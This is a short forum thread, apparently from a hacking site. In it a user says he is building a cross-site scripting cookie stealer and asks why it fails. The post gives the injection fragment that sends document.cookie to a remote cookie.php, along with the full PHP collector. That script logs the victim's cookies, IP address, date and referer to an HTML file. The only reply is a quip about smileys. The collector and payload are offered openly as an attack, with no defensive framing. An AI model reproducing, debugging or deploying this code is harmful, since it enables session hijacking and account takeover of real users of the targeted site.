Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

XSS Script


ghost's Avatar
0 0

Im trying to make a cookie stealer using the url: …/cookie.php?c='+document.cookie Im using this code:

<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>test</title>
</head>
<body>
<?php
$c = stripslashes(@$_GET['c']);
$cA = array();
$cA = split(";",$c);
$fp = fopen('cookie.html', 'a');
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
fwrite($fp,'<br> [ '.$ip.' ] [ '.$date.' ]<br>[ '.$referer.' ]<br>');
for ($i=0; $i<count($cA); ++$i)
{
fwrite($fp, '  '.$cA[$i].'<br>');
}
fwrite($fp,'<br><br>');
fclose($fp);
?>
</body>
</html>

but in cookie.html i get the following:

[ ]
  ' document.cookie```

Any help on why its not working?

Thanks, 

Will.

ghost's Avatar
0 0

disamle smileys ! ;)